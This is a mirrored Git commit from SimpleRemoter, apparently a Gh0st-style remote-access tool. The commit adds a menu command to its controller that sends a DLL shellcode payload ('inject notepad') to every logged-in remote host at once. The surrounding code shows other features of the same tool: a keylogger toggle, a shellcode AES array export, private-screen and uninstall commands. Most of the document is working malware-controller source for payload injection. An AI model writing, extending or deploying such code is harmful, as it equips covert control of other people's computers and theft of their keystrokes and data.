mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Feature: Add menu (online host) for injecting shellcode
This commit is contained in:
Binary file not shown.
@@ -386,6 +386,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
|||||||
m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||||
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
|
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
|
||||||
m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP);
|
m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP);
|
||||||
|
m_bmOnline[18].LoadBitmap(IDB_BITMAP_INJECT);
|
||||||
|
|
||||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||||
m_ServerDLL[i] = nullptr;
|
m_ServerDLL[i] = nullptr;
|
||||||
@@ -539,7 +540,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||||
END_MESSAGE_MAP()
|
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
// CMy2015RemoteDlg 消息处理程序
|
// CMy2015RemoteDlg 消息处理程序
|
||||||
@@ -1590,6 +1592,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_ONLINE_INJ_NOTEPAD, MF_BYCOMMAND, &m_bmOnline[18], &m_bmOnline[18]);
|
||||||
|
|
||||||
std::string masterHash(GetMasterHash());
|
std::string masterHash(GetMasterHash());
|
||||||
if (GetPwdHash() != masterHash) {
|
if (GetPwdHash() != masterHash) {
|
||||||
@@ -4022,3 +4025,19 @@ void CMy2015RemoteDlg::OnParamKblogger()
|
|||||||
THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger);
|
THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger);
|
||||||
SendMasterSettings(nullptr);
|
SendMasterSettings(nullptr);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnOnlineInjNotepad()
|
||||||
|
{
|
||||||
|
auto tinyRun = ReadTinyRunDll(0);
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||||||
|
context* ctx = *i;
|
||||||
|
if (!ctx->IsLogin())
|
||||||
|
continue;
|
||||||
|
Buffer* buf = tinyRun->Data;
|
||||||
|
ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||||||
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
SAFE_DELETE(tinyRun);
|
||||||
|
}
|
||||||
|
|||||||
@@ -246,7 +246,7 @@ public:
|
|||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
BOOL isClosed;
|
BOOL isClosed;
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[18];
|
CBitmap m_bmOnline[19];
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
CDialogBase* GetRemoteWindow(HWND hWnd);
|
CDialogBase* GetRemoteWindow(HWND hWnd);
|
||||||
@@ -372,4 +372,5 @@ public:
|
|||||||
afx_msg void OnToolReloadPlugins();
|
afx_msg void OnToolReloadPlugins();
|
||||||
afx_msg void OnShellcodeAesCArray();
|
afx_msg void OnShellcodeAesCArray();
|
||||||
afx_msg void OnParamKblogger();
|
afx_msg void OnParamKblogger();
|
||||||
|
afx_msg void OnOnlineInjNotepad();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -423,6 +423,7 @@
|
|||||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\EditGroup.bmp" />
|
<Image Include="res\Bitmap\EditGroup.bmp" />
|
||||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Inject.bmp" />
|
||||||
<Image Include="res\Bitmap\note.bmp" />
|
<Image Include="res\Bitmap\note.bmp" />
|
||||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||||
<Image Include="res\Bitmap\proxy.bmp" />
|
<Image Include="res\Bitmap\proxy.bmp" />
|
||||||
|
|||||||
@@ -176,6 +176,7 @@
|
|||||||
<Image Include="res\Bitmap\remove.bmp" />
|
<Image Include="res\Bitmap\remove.bmp" />
|
||||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||||
<Image Include="res\Bitmap\EditGroup.bmp" />
|
<Image Include="res\Bitmap\EditGroup.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Inject.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<None Include="..\..\Release\ghost.exe" />
|
<None Include="..\..\Release\ghost.exe" />
|
||||||
|
|||||||
BIN
server/2015Remote/res/Bitmap/Inject.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/Inject.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
Binary file not shown.
Reference in New Issue
Block a user